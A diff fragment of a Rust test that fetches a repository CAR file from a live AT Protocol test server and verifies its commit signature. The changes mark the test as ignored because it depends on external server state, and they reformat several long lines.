645653 Some("application/vnd.ipld.car")
646654 );
647647-}655655+}
+21-6
tests/verify_live_commit.rs
···55mod common;
6677#[tokio::test]
88+#[ignore = "depends on external live server state; run manually with --ignored"]
89async fn test_verify_live_commit() {
910 let client = reqwest::Client::new();
1011 let did = "did:plc:zp3oggo2mikqntmhrc4scby4";
1112 let resp = client
1212- .get(format!("https://testpds.wizardry.systems/xrpc/com.atproto.sync.getRepo?did={}", did))
1313+ .get(format!(
1414+ "https://testpds.wizardry.systems/xrpc/com.atproto.sync.getRepo?did={}",
1515+ did
1616+ ))
1317 .send()
1418 .await
1519 .expect("Failed to fetch repo");
1616- assert!(resp.status().is_success(), "getRepo failed: {}", resp.status());
2020+ assert!(
2121+ resp.status().is_success(),
2222+ "getRepo failed: {}",
2323+ resp.status()
2424+ );
1725 let car_bytes = resp.bytes().await.expect("Failed to read body");
1826 println!("CAR bytes: {} bytes", car_bytes.len());
1927 let mut cursor = std::io::Cursor::new(&car_bytes[..]);
···2331 assert!(!roots.is_empty(), "No roots in CAR");
2432 let root_cid = roots[0];
2533 let root_block = blocks.get(&root_cid).expect("Root block not found");
2626- let commit = jacquard_repo::commit::Commit::from_cbor(root_block).expect("Failed to parse commit");
3434+ let commit =
3535+ jacquard_repo::commit::Commit::from_cbor(root_block).expect("Failed to parse commit");
2736 println!("Commit DID: {}", commit.did().as_str());
2837 println!("Commit rev: {}", commit.rev());
2938 println!("Commit prev: {:?}", commit.prev());
···3746 println!("DID doc: {}", did_doc_text);
3847 let did_doc: jacquard::common::types::did_doc::DidDocument<'_> =
3948 serde_json::from_str(&did_doc_text).expect("Failed to parse DID doc");
4040- let pubkey = did_doc.atproto_public_key()
4949+ let pubkey = did_doc
5050+ .atproto_public_key()
4151 .expect("Failed to get public key")
4252 .expect("No public key");
4353 println!("Public key codec: {:?}", pubkey.codec);
···7585 serde_ipld_dagcbor::to_vec(&unsigned).unwrap()
7686}
77877878-fn parse_car(cursor: &mut std::io::Cursor<&[u8]>) -> Result<(Vec<Cid>, HashMap<Cid, Bytes>), Box<dyn std::error::Error>> {
8888+fn parse_car(
8989+ cursor: &mut std::io::Cursor<&[u8]>,
9090+) -> Result<(Vec<Cid>, HashMap<Cid, Bytes>), Box<dyn std::error::Error>> {
7991 use std::io::Read;
8092 fn read_varint<R: Read>(r: &mut R) -> std::io::Result<u64> {
8193 let mut result = 0u64;
···126138 let hash_type = bytes[2];
127139 let hash_len = bytes[3] as usize;
128140 let cid_len = 4 + hash_len;
129129- let cid = Cid::new_v1(codec as u64, cid::multihash::Multihash::from_bytes(&bytes[2..cid_len])?);
141141+ let cid = Cid::new_v1(
142142+ codec as u64,
143143+ cid::multihash::Multihash::from_bytes(&bytes[2..cid_len])?,
144144+ );
130145 Ok((cid, cid_len))
131146 } else {
132147 Err("Unsupported CID version".into())